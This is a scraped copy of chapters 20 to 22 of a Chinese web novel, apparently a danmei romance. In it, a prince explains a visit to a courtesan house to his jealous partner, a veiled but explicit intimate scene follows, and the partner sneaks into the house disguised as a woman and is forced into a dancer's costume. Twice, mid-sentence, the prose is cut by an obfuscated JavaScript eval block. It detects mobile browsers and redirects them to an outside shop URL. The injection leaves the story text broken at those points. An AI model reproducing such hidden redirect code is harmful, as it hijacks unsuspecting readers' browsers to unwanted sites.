眼皮红肿,睫毛湿-漉-漉地黏在一起,脸颊上还有未干的泪痕。 嘴唇紧紧抿着,失了血色,下-唇被咬出了一道细细的牙印。 整个人缩在锦被里,像只受尽委屈,独自舔舐伤口的小兽。 燕元明眉头顿时蹙起。 他抬手,指尖抚过云棠眼下红肿的肌肤,触感滚烫。 声音里是真切的,毫不作伪的担忧,“怎么了?哪里不舒服?还是……” 他的声音沉了沉,“谁给你气受了?” 他的触碰温柔依旧,关切也真诚依旧。 可云棠心里那点委屈和酸楚,却因这温柔关切而愈发放大,几乎要冲破胸腔。 他垂下眼,不敢看燕元明的眼睛。 一股清雅缠绵的淡淡香气,夹杂着些许酒气,从燕元明身上飘了过来。 那是一种属于女子的陌生脂粉香。 清雅缠绵,带着勾-人的甜意。 像是早春初绽的玉兰,又像是月下悄然吐蕊的夜来香。 虽然很淡,几乎被沐浴后的皂角清气掩盖。 但云棠对气味敏感,尤其是对燕元明身上的气息。 他日日偎在那怀里,夜夜嗅着那冷香入睡,早已熟悉到骨子里。 不会闻错。 他身体僵住了,血液仿佛在瞬间冻结。 犹豫了片刻,像是要证实那可怕的猜想,又像是要给自己一个死心的理由。 云棠凑近燕元明颈窝,像只确认领地的小动物般,细细地,深深地嗅了嗅。 那香气更清晰了。 清雅的底香之上,分明还缠绕着一丝甜媚。 那是女子精心调制的香粉,沾染在衣襟、袖口,甚至……肌肤上。 眼泪毫无预兆地涌了出来,大颗大颗。 滚烫地砸在锦被上,迅速泅开深色的圆点。 云棠别开脸,胸腔剧烈起伏,几乎要喘不上气。 他想转身背对,想逃离这个怀抱,却被燕元明按住了肩膀。 “云棠?” 燕元明的声音里带着诧异,随即像是明白了什么,低低地笑了起来。 听在云棠耳中,这笑声却像是默认,不在意,像是……嘲讽他的痴心妄想。 他眼泪掉得更凶,成串地往下落,拼命想挣脱。 可燕元明的力气太大。 那双握惯了刀剑,批惯了文书的手,轻易禁锢了他所有的挣扎。 燕元明叹了口气,笑声渐止。 双手捧住他湿-漉-漉的脸,温柔地一遍遍地拭去他脸上汹涌的泪水。 可那泪却像决了堤,怎么也擦不干。 他的语气里是无奈,却也有掩不住的笑意,“以为我去寻-欢作乐了?” 云棠咬着下-唇,血腥味在口腔里弥漫开来,却盖不住心里的苦涩。 他不说话,只是摇头。 眼泪却流得更凶,喉咙里发出压抑的,小动物般的呜咽。 燕元明低头,额头抵住他冰凉的额,呼吸温热地拂在他脸上。 声音压得很低,一字一句,清晰入耳,带着令人心安的力量: “停云水榭,确是风月之地,但其幕后东家,与北狄有千丝万缕的联系,涉嫌贩卖边境军情,私运朝廷禁物。今夜去,是为此。” 20. 第 20 章 云棠睫毛颤了颤,沾着泪珠,缓缓抬起眼看他。 烛光下,燕元明的眼神深邃而坦荡。 像是无风的湖面,倒映出他狼狈的哭脸,没有半分闪躲,没有一丝心虚。 “难免要饮酒作态,周旋一番,沾染些脂粉香气,也在所难免。” 他继续解释,轻轻摩挲云棠红肿的眼角。 “之所以未提前告知你,是因此事牵连甚广,知道的人越少越好,本想着回来再同你说清楚,不想让你空等担心……” 他顿了顿,看着云棠渐渐止住的泪水,眼底的心疼几乎要溢出来: “却没想到,反让你胡思乱想,一个人偷偷哭成这样。” 他的语气温柔至极,每一个字都像是羽毛,轻轻拂过云棠伤痕累累的心。 云棠怔住了。 原来,不是他想的那样。 原来那些让他心碎的猜测,都只是他一个人的胡思乱想。 心头的委屈和酸楚,像是被戳破的气球,瞬间消散了大半。 取而代之的,是排山倒海而来的羞愧和懊恼。 自己不仅误会了王爷,还用那样不堪的心思揣度他,像个怨妇般哭了一整夜。 脸蛋“轰”地涨红,一直红到耳根,连脖颈都泛起了粉色。 他眼神躲闪,不敢再看燕元明那坦荡深邃的眼睛。 声音细如蚊蚋,还带着浓浓的鼻音: “我、我不知道……对不起……我不该乱想……” “对不起什么?”燕元明低笑,笑声从胸腔里震出来。 他低头,亲昵地蹭了蹭云棠哭得通红的鼻尖,呼吸温热地拂在他脸上。 “对不起误会了本王?还是对不起……偷偷吃醋,还一个人哭鼻子?” 最后几个字,他刻意压低了声音,尾音上扬,带着明显的戏谑和宠溺。 云棠被他戳中心事,羞得无以复加,恨不能找个地缝钻进去。 他把滚烫的脸往燕元明怀里藏,声音闷闷的,带着哭过后的沙哑: “……没有吃醋。” “没有?”燕元明轻笑出声。 他伸手,修长的手指挠了挠云棠的下巴,像在逗弄一只闹脾气的小猫。 “那是谁偷偷哭湿了半个枕头,还凑过来像小狗一样闻本王身上的味道?” “……” 云棠答不上来,羞恼之下,抬手轻轻捶了他肩膀一下。 没什么力气,软绵绵的,更像是撒娇,拳头落在他坚实的肩头,不痛不痒。 燕元明捉住他的手,包裹在自己温热的掌心里。 举到唇边,在那泛红的指尖上轻轻吻了吻。 电流从指尖一路窜到云棠心里。 他眼底笑意更深,像盛满了碎星:“醋劲儿还挺大。” 云棠脸更红了,想抽回手,却被他握得更紧,十指相扣,牢牢锁住。 “云棠。”燕元明忽然正了神色,收敛了笑意,看着他的眼睛。 烛光在他深邃的眸子里跳跃,映出无比认真的光芒。 “往后无论听到什么,看到什么,心里有什么疑问,不安,直接来问本王,不要自己胡思乱想,更不要一个人偷偷难过,信我,可好?” 他的眼神太过认真,太过温柔,像一张密实的网,将云棠牢牢包裹。 所有的不安和疑虑,都在这样的目光里融化消散。 云棠心头震颤,像被暖流冲刷过,他用力点头:“……好。” 想了想,又补充道,“我信王爷。” 话音落下,他又觉得这短短几个字不足以表达此刻的心情。 仰起脸,看着燕元明近在咫尺的唇,鼓起勇气,飞快地凑上去亲了一下。 一触即分,像蜻蜓点水,却带着他全部的心意和歉意。 燕元明怔了怔,随即眼底漾开更深更柔的笑意,像是春风吹皱一池春水。 他扣住云棠的后脑,不让他逃走,低头吻了回去。 这个吻温柔而绵长,不带急切的情-欲,只有安抚和弥补。 燕元明的唇-瓣温热柔软。 轻轻含-住云棠的下-唇,细致地吮吻,舔去那上面淡淡的血腥味。 舌尖温柔地撬开他因紧张而微闭的齿关,探入那片湿润温软的口腔。 他的舌扫过云棠敏感的上颚,划过整齐的齿列。 最后与那怯生生,却努力回应的小舌缠绵共舞。 他吻得很用心,像是在品尝稀世珍馐。 云棠闭上眼,手臂环上燕元明的脖颈,全心全意地回应。 他的回应格外主动而热烈。 不再只是被动承受,而是生涩地学着燕元明的样子。 用舌尖去舔舐对方的唇,去探索对方的口腔,尝试着轻轻吮吸。 他的动作笨拙,带着毫无保留的信任和依赖。 像雏鸟第一次离巢,颤巍巍地,义无反顾地扑向温暖的所在。 吻到两人都有些气息不稳,鼻尖相抵,呼吸灼热地交融,燕元明才稍稍退开。 他抵着云棠的额头,看着他被吻得水光潋滟的眸子和红肿润泽的唇,哑声问: “今日怎么这么乖?嗯?” 尾音上扬,带着蛊惑。 云棠眼神躲闪,长睫颤得像蝶翼,小声道:“……我不该误会王爷。” 说着,手指无意识绞着燕元明寝衣的系带,将那结扯得有些松散。 燕元明低笑,又低头吻了吻他微微红肿的唇角,尝到一丝咸涩的泪味和淡淡的血腥,语气愈发温柔: “那本王要讨些补偿,可好?” 云棠脸更红了,像熟透的樱桃,却没躲,反而更紧地搂住他的脖子。 发烫的脸颊埋进他带着皂角清香的颈窝,微不可察地点了点头。 这个带着些许讨好意味的姿态,像一点火星,落入燕元明暗流汹涌的心湖。 瞬间燃起燎原大火。 他眸光转暗,俯身将人拢在身下,动作轻缓,如月色覆盖花枝。 手臂撑住自己大半重量,唯恐惊扰了怀中这捧清减易折的轮廓。 借着昏暗跳动的烛光,细细地看着他。 烛光昏黄,像一层柔纱,笼罩着云棠。 泛着桃花色的脸颊,湿-漉-漉的,盛着水光的眼眸,微微红肿、泛着水泽的唇。 还有因紧张和期待而轻轻颤动的长睫…… 每一处,都美得惊心动魄,像月下悄然绽放的优昙,脆弱又极致艳丽。 寝衣在方才的纠缠中早已松散,衣襟敞开,露出大片白皙如玉的胸膛。 …… 燕元明的喉结上下滚动了一下,低下头,吻了下去。 唇舌霸道地侵占着云棠的口腔,吮吸着他的舌尖,像要将他整个人拆吃入腹。 滚烫的手掌探入松散敞开的寝衣,直接贴上那截细得不盈一握的腰。 掌心温热,带着常年习武握剑留下的薄茧。 触感令人心折,细腻而柔韧,蕴着如春枝初发般的饱满生机。 他的手掌宽大,几乎能完全握住那截腰。 那片肌肤泛起细微的涟漪,宛若月光下的湖面被晚风拂起的一轮浅浪。 “嗯……” 云棠身体轻颤,腰肢是他极敏感的地方,酥麻感瞬间窜遍全身。 他咬着唇,想抑制住即将溢出的呻-吟。 可那声音还是从齿缝里漏了出来,细弱甜腻,像小猫的呜咽。 身体软了下来,几乎化成一滩水。 燕元明的手掌顺势而下。 隔着素净的衣料,触碰到一段温热的,如月下枝头低垂的弧度。 仿若拢住一团被暖阳晒透的蓬松云絮。 微微陷落,又悄然回弹。 “啊……” 云棠浑身剧颤,像被一道惊雷劈中。 一股温热的麻意自脊骨深处悄然升起,若林间暗涌的溪流,无声漫过四肢。 他脸颊蓦地染上薄红,从耳际到颈侧透出宛若桃花映水的浅绯。 羞耻,无措,如暮色般无声笼下。 他想躲,被燕元明坚实的臂弯圈住,如同藤蔓依附乔木,无从挣脱。 …… 他卸下了防备。 燕元明的呼吸蓦地一滞。 …… “王爷……嗯啊……” 云棠的声音里已浸着呜咽的颤音。 他仰起纤细的颈,吞咽着,长睫如蝶翼沾露,簌簌轻颤。 眸中氤氲着朦胧的雾气,眼尾晕开一抹薄红,宛若春日落霞不经意拂过梨花瓣。 燕元明低头吻他,如微风轻衔花瓣,落下细细的印迹。 很轻,很浅,仿佛朝露在草叶上暂驻的痕迹。 …… 云棠周身轻颤,若风中苇叶簌簌。 “别……哈啊……” 他终于低声告饶,尾音零落,浸着潮湿的水汽。 可身体仿佛自有其微妙的语言,背离了口中破碎的音节,也疏离了摇摇欲坠的清醒。 …… 微妙的收放,恰似含羞草叶在触碰后无声的开合,比任何言语都更柔软,也更令人心折。 燕元明的呼吸陡然粗重起来,像拉风箱一般。 他撑起身,居高临下地看着身下的云棠。 墨黑的长发散乱地铺了满枕,衬得那张脸愈发雪白,也愈发艳丽。 眼睫间浮着潋滟的水光,眸光朦胧如雾,唇上染着湿润的绯色,微微张启,逸出细碎的喘息。 寝衣早已松散,滑落至臂弯,露出大片如冷月般清寂的素白。 …… 他的眼神暗沉下去,如夜色无垠,深处涌动着无声的潮涌。 忽然俯身—— “嗯啊……” 云棠整个人如被春风骤然拂过的琴弦,剧烈一颤,足尖不由自主地蜷紧。 那处从未有人涉足的秘境,此刻却如雪地被第一缕晨光温柔覆盖。 …… 所有知觉仿佛被细腻的丝绸包裹,每一丝颤动都化作令人晕眩的陌生涟漪。 他本该推开他的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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带着湿意的低语让燕元明心头一紧,怜惜与躁动交织缠绕。 他轻碰了碰那抹微红的印记,温热气息拂过,声音低沉: “本王的错,疼吗?” 云棠浑身发软,哪还顾得上回答,只把滚烫的脸埋进枕间,摇头,又点头。 望着这般情状的云棠,燕元明眸色转深,理智如被潮水反复冲刷的堤岸。 全然交付的姿态,恰似无声的邀请,考验着他摇摇欲坠的克制。 心底的渴望如暗潮涌动,仿若春风渴望探入每一处未绽的蕊心,月色试图盈满每一条幽谧的溪谷。 可他到底记得分寸。 记得不能吓到他,他还没有完全准备好。 他深吸一口气,又缓缓吐-出,用力勒住一匹即将脱缰的烈马。 只是低下头,给了云棠一个极深极重,几乎要夺走他所有呼吸的吻。 不像是亲吻,更像是一场无声的淹没。 淹没了唇边微凉的湿意与细碎的嘤咛,吞没了所有紊乱的气息与颤抖的尾音。 也将他自己几乎要破笼而出的念想,尽数封缄在这个绵长的吻里,缠绕交渡,再艰难按捺下去。 吻到云棠快要窒息,手脚发软,燕元明才退开。 他将浑身瘫软,像被抽了骨头的人儿紧紧搂进怀里。 拉过锦被盖住两人,手掌一下下温柔地轻抚着云棠汗湿的背脊。 云棠累了,也餍足了,身体和精神都经历了一场剧烈的风暴。 他蜷在燕元明滚烫的怀里,意识模糊。 下意识往那温暖坚实的胸膛里蹭了蹭,寻找最安心的位置。 发出一声满足的细弱喟叹。 “睡吧。” 燕元明吻了吻他汗湿的额发,又吻了吻他红肿的眼皮,声音沙哑得厉害: “天快亮了。” 云棠含糊地“嗯”了一声,很快沉沉睡去,嘴角微微上。 燕元明却久久没有睡意。 他借着窗外透进的微光,看着怀中人恬静的睡颜。 指尖轻轻拂过他红肿未消的眼皮,湿-漉-漉黏在一起的睫毛。 还有被吻得嫣红微肿,有些破皮的唇。 心里软成一片,像是被最柔软的云朵包裹。 却又沉甸甸的,像是揣着一块温热的玉。 他的云棠,这样全心全意地信他,爱他,依赖他。 把所有的情绪都给他,把最柔软脆弱的自己完全敞开给他。 万籁俱寂,只有怀里人清浅均匀的呼吸声。 东方天际,那丝鱼肚白渐渐扩大,染上淡淡的橘红,黎明真的快要来了。 燕元明收紧手臂,将怀里人儿搂得更紧些。 21. 第 21 章 午后未时三刻。 日光难得晴好,穿过归阙居书房那扇雕花云纹窗,在紫檀木书案上投下暖融融的光斑。 窗外庭院里,前几日堆积的春雪已开始消融,檐角滴滴答答落下水珠,敲在青石板上,发出清脆而有规律的声响。 云棠坐在书案后,手中握着一支狼毫小楷,面前铺着洒金宣纸。 他正在临摹燕元明昨日亲自为他选的帖。 墨是上好的松烟墨,研得浓淡相宜。 云棠深吸一口气,提笔落下。 “永和九年,岁在癸丑……” 笔尖在纸上流畅地行走,墨迹晕开,字迹清丽工整。 可写到“群贤毕至,少长咸集”时,他的手腕滞了滞。 群贤毕至。 少长咸集。 不知怎的,这两个词让他心头莫名一紧。 用早膳时,燕元明替他布菜,状似随意地提起:“停云水榭那条线还需再探,今日午后得去一趟。” 云棠当时正小口喝着燕窝粥,闻言抬起头。 燕元明看着他,目光深沉,像是在观察他的反应。 云棠努力让自己看起来平静,乖巧地点了点头,轻声应:“好。” 他确实告诉自己要信他。 王爷说过,那是查案,是公务,他应该相信的。 可相信是一回事,心里那点说不清道不明的不安,又是另一回事。 “这次会早些回来。”燕元明伸手,温柔地揉了揉他的头发,“不必等我用晚膳,你自己按时吃,莫要饿着。” 云棠又点头,想说些什么,话到嘴边却只变成一句:“王爷当心。” 离府前,燕元明特意唤来素月嘱咐了好一阵。 云棠站在廊下看着他玄色身影渐行渐远,最终消失在月洞门外。 心里那点空落落的感觉,又悄悄蔓延开来。 他努力将心神凝在笔尖,一字一字往下写。 写到“引以为流觞曲水,列坐其次”时,手又是一颤,一滴墨汁落在“其”字上,迅速泅开一小团黑渍。 他放下笔,看着那团墨渍,轻轻叹了口气。 书房里炭火燃得正旺,暖意融融。 博古架上陈设着各色珍玩,墙上挂着前朝名家的山水真迹,处处透着燕元明的权势。 这里本该是让云棠最安心的地方。 每一件器物,每一缕气息,都浸染着那个人的痕迹。 可今日,他却静不下心来。 脑海里总是不由自主地想: 那个叫“停云水榭”的地方,究竟是什么模样?那些“先生”们,又是何等风采?王爷坐在其中,与那些人周旋时,会不会也有人……为他斟酒?对他巧笑? 云棠手指微微收紧。 他闭上眼,用力摇了摇头,想将这些不该有的想法甩出去。 “不该乱想的。”他小声对自己说,“王爷说过,是查案,我要信他。” 可越是压抑,想象反而越具体。 他甚至能勾勒出那样一幅画面: 雅致的厅堂,丝竹悦耳,燕元明端坐主位,神色冷淡,身侧偎着一位绝色佳人,纤纤素手为他执壶,眼波流转间,皆是风情…… 云棠猛地睁开眼,胸口起伏了几下。 他起身走到窗边,推开半扇窗。 微凉的空气涌进来,带着雪后特有的清冽,稍稍驱散了心头的烦闷。 他站在窗边,怔怔看了许久,直到眼睛有些发酸,才重新回到书案前,却再没了临帖的心思。 --- 未时末,云棠放下笔,走出书房。 素月正在廊下吩咐小丫鬟们做事,见他出来,忙迎上前: “殿下可是饿了?奴婢让厨房准备些点心?” 云棠摇头:“不饿,我有事找你。” 素月一愣,“殿下有何吩咐?” 云棠咬了咬唇,似在犹豫,终于还是低声开口: “素月,你能不能帮我找一身女子的衣衫?不要声张。” 素月眼睛微微睁大:“殿下您要……” “我想出府一趟。”云棠的声音更低了,“不能让人认出来。” 素月立刻明白过来,脸色变了变:“殿下,您不会是想去停云水榭?” 云棠没说话,算是默认。 “这怎么行!”素月急道,“那种地方,龙蛇混杂,危险得很!王爷知道了定会动怒的!况且,您这身份……万一被人发现了……” “我不会被发现的。”云棠抬起头,眼神里带着少见的固执,“我就远远看一眼,只看一眼就回来,我……我就是好奇。” “殿下……” “素月,求你了。”云棠拉住她的衣袖,声音软下来,带着恳求,“我真的,真的就只是看看,戴上面纱,不会有人认出我的,我心里实在……闷得慌。” 他看着素月,眼眶微微泛红,那模样让人实在狠不下心拒绝。 素月挣扎良久,终是叹了口气: “奴婢那里确实有一套新制的衣裳,是前些日子锦绣坊送来的,还未上过身,可殿下……” “给我吧。”云棠坚持道,“我会小心的,我保证。” 素月见他心意已决,知道劝不住,只得道:“那您千万小心,快去快回,若有什么不对劲,立刻回来,或者想办法通知王府的人。” 云棠用力点头。 --- 素月的房间在归阙居西侧的耳房。 她取出一套鹅黄-色的衣裙。 料子是上好的软烟罗,轻柔飘逸,领口和袖口绣着精致的折枝梅花。 另有一件月白色的夹棉比甲,以及一条同色的绣花面纱。 “这套颜色素净,不起眼。”素月将衣物递给云棠,“面纱是奴婢自己做着玩的,戴上后能遮住大半张脸。” 云棠接过,轻声道谢。 回到寝殿,他关上门,深吸一口气,开始换衣裳。 换上那套鹅黄衣裙时,云棠心里涌起一种极其怪异的感觉。 柔软的布料贴着肌肤,裙裾垂落,走动时发出轻微的窸窣声,与他平日穿衣的感觉截然不同。 他走到镜前,看向镜中的人,瞬间怔住了。 镜中人身着鹅黄软烟罗裙,外罩月白比甲,腰间系一条浅碧色丝绦。 那颜色衬得他肌肤愈发白皙,仿佛月光浸润的细瓷。 衣裙剪裁合体,腰身处微微内收,恰似一株春日细柳,被风轻轻拢住了最柔软的弧度,勾勒出流畅而含蓄的线条。 裙摆迤逦,行走间如水波荡漾,更显其下支撑的骨骼纤细轻盈。 最摄人心魄的是那张脸。 云棠本就生得极美,眉如远山含黛,目似秋水藏星,鼻梁如秀峰挺立,唇若三月樱瓣初绽。 此刻,那分明的轮廓在柔和的衣裙与披散如瀑的青丝衬托下,竟显出几分模糊了界线的惊心动魄之美。 既有玉山之将崩的清峻,又有幽兰之含露的柔婉。 他拿起那条月白面纱,缓缓戴在脸上。 薄如蝉翼的轻纱覆面,只露出一双眼睛。 可正是这半遮半掩,让那双眼眸更添无尽幽深。 眼尾天然一段微扬的弧度,睫羽浓密如鸦羽,垂下时便在如玉的颊上投出两弯浅浅的阴影。 眸光流转间,似有潋滟水光与迷蒙雾气交织,带着浑然未察,纯然天成的吸引力。 云棠看着镜中的自己,脸颊渐渐染上桃花般的绯色。 这……真的是他吗? 像一个精心描绘的幻影,比真实的女子更美,美得近乎超越了尘世的范畴。 那通身的气韵,矛盾地糅合了青竹的修直与藤蔓的柔韧。 既有晨露的清透,又暗藏了夜昙初绽时那一丝若有若无,勾-人心魄的幽香。 难怪从前在宫里,那些目光总带着他当时不解的灼热。 他无暇深想,拢了拢面纱,悄无声息地溜出了门。 停云水榭坐落在朱雀大街东头,临着镜湖。 云棠虽未去过,却知道大概方位。 他低着头,沿着街边快步行走,面纱遮脸,只露出一双眼睛。 鹅黄衣裙在人群中并不起眼,他尽量让自己看起来普通。 越靠近镜湖,周遭景致越发精致。 青石板路平整宽阔,两旁店铺鳞次栉比,卖的多是古玩字画、文房四宝、绸缎香料。 往来行人衣着光鲜,言谈文雅,与寻常市井截然不同。 远远的,云棠看到了那栋三层楼阁。 飞檐翘角,黛瓦粉墙,檐下挂着一排铜铃,风过时叮当作响,清越悦耳。 楼前悬着一块乌木匾额,上书“停云水榭”四个行楷大字,笔力遒劲,风骨天成。 门前不似寻常勾栏瓦舍般喧闹,反而透着一种刻意的清静雅致。 偶有马车停下,下来的皆是锦衣华服的男子,或三五好友结伴,或独自一人,神态从容。 这就是……王爷来的地方。 云棠躲在街对面一株老槐树后,偷偷张望。 他本打算只看一眼就走,可目光却像是被黏住了,怎么也挪不开。 那扇朱漆大门半开半掩,隐约可见里头曲折的回廊,精致的盆景,还有偶尔闪过的窈窕身影。 丝竹声若有若无地飘出来。 不是俗艳的靡靡之音,而是清雅的琴箫合奏,听来倒有几分山水意境。 可越是这般风雅,云棠心里越是难受。 这样的地方,这样的人…… 王爷置身其中时,是不是也会觉得,比对着自己这个沉闷无趣的人,要有意思得多? 他在树后站了许久,直到腿都有些酸麻。 眼见日头西斜,暮色渐起,心中那点执念却越来越强。 就进去看一眼,只看一眼。 这个念头驱使着他,一步步走向那扇朱漆大门。 门前站着两个青衣小厮,见他走近,目光在他身上扫了扫。 见他虽遮着容貌但身段气韵不俗,便也未拦,只躬身做了个“请”的手势。 云棠心一横,踏入门内。 门内是一处精巧的前厅,布置得极为雅致。 墙上挂着名家字画,多宝阁上陈列着古玩玉器。 桌椅皆是紫檀木所制,空气中弥漫着淡淡的檀香。 三两个女子坐在厅中,或抚琴,或弈棋,或看书,皆是容貌秀丽,举止端庄。 若非早知此地是风月场所,倒像是进了哪家书香门第的闺阁。 云棠正不知该往何处去,一个穿着暗红色锦缎褙子的妇人从侧门走了进来。 那妇人约莫四十来岁,面容严肃,眼神锐利,正是停云水榭的掌事嬷嬷,姓徐。 徐嬷嬷本是来前厅巡视,目光随意一扫,落在了云棠身上。 只一眼,她就愣住了。 眼前这人,身段纤细窈窕,穿着一身鹅黄衣裙。 虽戴着面纱看不清全貌,可露出的那双眼,眼型极美,眸光清澈又带着几分惶然,像林间初生小鹿望向未知深渊。 露在面纱外的肌肤白皙如最上等的羊脂玉,脖颈修长如天鹅引颈。 虽只安静地站在那里,却自有一股说不出的韵味,如同月光下摇曳的花枝,引人探看而又不自知。 徐嬷嬷阅人无数,立刻判断出这是块未经雕琢的璞玉,且是顶级的美玉。 她快步走上前,脸上堆起职业化的笑容:“姑娘是头一回来?可有相熟的先生?” 云棠被她突如其来的接近吓了一跳,下意识后退半步,摇了摇头。 “那姑娘是想听曲儿,还是赏舞?或是……”徐嬷嬷目光在他身上又扫了一圈,心中愈发满意,“姑娘这般品貌,若是愿意,我们水榭倒是缺个抚琴的先生,待遇从优。” 云棠又摇头,想开口说自己只是随便看看,可声音卡在喉咙里。 不能出声,一出声就暴露了。 见他迟迟不语,徐嬷嬷只当他是害羞或是胆怯,正想再劝,一个穿着绯色舞衣的姑娘急匆匆跑过来,脸色苍白: “徐嬷嬷……碧蕊姐姐突然腹痛,疼得厉害,今晚怕是跳不了了!” 徐嬷嬷脸色一变:“酉时就要上场,现在说跳不了?!” “真的不行了……疼得直打滚……”那姑娘急得快哭了,“苏老板宴请的是那位爷,若是出了岔子……” 徐嬷嬷额头青筋跳了跳。 她猛地转头,再次看向云棠,目光如电,在他脸上、身上来回扫视,越看越满意。 这身段,这气质,虽然穿着朴素,可稍加打扮,定是绝色。 而且看这怯生生的模样,多半是刚入行或是走投无路来投靠的,正好拿捏。 “你,”徐嬷嬷忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261356|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然开口道,“会跳舞吗?” 云棠茫然地摇头。 “不会也没关系!”徐嬷嬷已不耐烦,一把攥住他纤细的手腕,力道大得惊人。 “今日贵客临门,缺个人手,你顶上!” 云棠瞳孔骤缩,拼命摇头想挣脱。 “磨蹭什么!”徐嬷嬷手劲极大,拽着他就往侧门走,声音压低,带着狠厉,“跳得好,赏钱少不了你的!若是不从……” 她冷笑一声,“进了这水榭的门,可由不得你了!” 云棠被拽得踉跄,脑中一片空白,就这么被连拖带拽,穿过一道回廊,来到后院。 院中人来人往,伶人舞姬穿梭,无人注意他这个被徐嬷嬷拽着的“新人”。 徐嬷嬷将他推进一间挂着“舞苑”牌子的厢房,对里头喊道: “给她换衣服!碧蕊那套!面纱……先戴着,神秘点也好!” 说罢,她转身去处理其他事务,留下一句严厉的警告: “酉时准时到流云阁,迟了仔细你的皮!” 门在身后“哐”一声关上。 厢房里,十几个舞姬正在换装、梳头、上妆。 衣衫首饰散落各处,脂粉香气混杂,一片忙乱。 云棠站在屋子中-央,被十几道好奇、审视的目光包围。 他浑身僵硬,手脚冰凉,大脑一片空白。 一个年长些的舞姬走过来,打量了他几眼,眼中掠过惊艳。 她从衣架上取下一套衣物,塞到他怀里:“快换吧,没时间了。” 云棠低头看向怀中那团轻若无物、色泽艳丽的织物,只一眼,血液便几乎冻住,随后又疯狂倒流。 那是一套“胡旋舞”的装束。 上身是一件金丝绣牡丹的诃子,形制大胆,仅靠细带维系,如同两片勉强合拢的、缀满金线的绯色花瓣,注定要展露大片皎洁的雪原与起伏的山丘。 下身是层层叠叠的绯色轻纱裙裤,内里丝绸紧裹,外罩数层薄如晨雾的轻纱。 银线绣的蔓草纹在其上蜿蜒,行走间不仅流光溢彩,更会将一切轮廓勾勒得影影绰绰,比彻底坦露更多十分欲语还休的引诱。 腰间是一条缀满细小金铃、嵌着红宝石的腰链,仿佛一道华丽而脆弱的禁锢,每一步都会发出清脆的吟唱。 这根本不是蔽体的衣裳,而是一套精心编织的、充满异域风情的诱捕之网。 “还愣着做什么?快换啊!”那舞姬催促道,指了指旁边屏风,“去后面换。” 云棠抱着那团轻薄的、仿佛带着灼人温度的衣物,脚步虚浮地走到屏风后。 指尖触到冰凉的丝绸和轻纱,他浑身都在无法抑制地颤-抖。 换,还是不换? 不换,立刻就会被发现异常,身份暴露。 换……穿着这样的……在众目睽睽之下……跳舞? 他咬紧下-唇,直到尝到一丝腥甜的铁锈味。 最终,他颤-抖着手,解开身上鹅黄衣裙的系带。 外衫滑落,露出单薄的中衣。 他闭上眼,将那件冰凉的、绣着张扬牡丹的诃子套上。 锦缎贴上皮肤的触感陌生而刺-激,系带在背后摸索着打成勉强维系平衡的结。 它只是象征性地遮护着。 大片温润的肩背、精致的锁骨、平坦柔韧的腰腹,都骤然暴露在微凉的空气中,激起一阵细密的战栗。 然后是裙裤。 轻纱滑过腿部的触感,像水流,又像无形的抚摸,带来更深的羞-耻。 层层叠叠的纱覆上来,明明有物遮挡,却因那极致的通透,反而生出一种无处遁形感,几乎要将他逼疯。 最后系上腰链。 金铃碰撞,发出细碎而清脆的声响,每一声都像敲在他紧绷的心弦上。 当他终于从屏风后走出来时,整个喧闹的厢房仿佛被瞬间抽走了声音,静了一瞬。 所有的目光,或惊讶,或审视,或玩味,都集中在他身上。 烛光摇曳,温暖的光晕抚过他裸-露在外的、大片如新雪初凝的肌肤。 那肌肤细腻光滑,在光下泛着珍珠般温润柔和的色泽。 从圆润的肩头到流畅的肩颈线条,再到背后那对微微隆起的、形状美好的蝴蝶骨。 每一处曲线都仿佛由最精巧的匠人用心勾勒。 纤细的腰肢被那串金铃红宝石腰链一束,更显得不堪一握。 腰侧向内收束的弧度惊心动魄,仿佛轻轻一折便会断裂。 绯色轻纱裙裤下,笔直修长的腿部线条被朦胧地映现出来,若隐若现,如同雾中远山。 纱纹随着他细微的颤-抖而流动,光影变幻间,比完全的坦露更引人无限遐思。 而他脸上仍覆着那条月白面纱,薄纱掩去了大半容颜。 只留下那双因惊慌而愈发水光潋滟、眼尾微红的眸。 神秘感与这身极具视觉冲击的、充满暗示的装扮形成了诡异而致命的对比。 纯然的惊怯与逼人的艳色,少年的青涩骨架与衣裙强调的柔媚风韵。 在他身上矛盾地交织、碰撞,融合成一种足以摧毁旁观者理智的、近乎妖异的吸引力。 “天……”不知是谁极轻地吸了口气,带着难以置信的惊艳。 “徐嬷嬷从哪儿找来这么个……妖精。”另一个舞姬喃喃道,目光几乎无法从他身上移开。 “别废话了,快给他梳头!”年长的舞姬最先回过神,忙指挥道。 有人过来,三两下拆了云棠原本简单的发髻,将他那一头丰厚如瀑的青丝松松绾起,以一枚金簪斜斜固定。 余下的长发便披散在光洁的背上,几缕不听话的发丝垂落在颊边与颈侧,更添几分不自知的慵懒媚态。 又有人在他眉心点了一枚小小的、花瓣状的嫣红花钿。 那一点鲜红瞬间点亮了整张脸,衬得他肤色愈白,眼眸愈黑,艳色灼灼。 “行了,走吧!”年长舞姬看了看漏刻,急道,“快到时辰了!” 云棠被推搡着,混在一群同样装扮艳丽、香气扑鼻的舞姬中,走出了厢房。 金铃随着他每一步行走发出叮叮当当的细响,清脆又恼人。 每一声都像是在提醒他此刻处境的荒唐与险恶。 而他即将踏入的“流云阁”内,正坐着那个让他心心念念、惶惑不安的人。 22. 第 22 章 流云阁静静地伫立在镜湖之畔,三面轩窗大开,将浩渺烟波尽收眼底。 暮色四合时分,天边最后一抹绛紫余晖与湖面升起的淡蓝夜雾交织。 渔火渐次点亮,在水面拖曳出粼粼波光,与初现的疏星遥相呼应,恍若天地倒置。 阁内却是另一番人间景象。 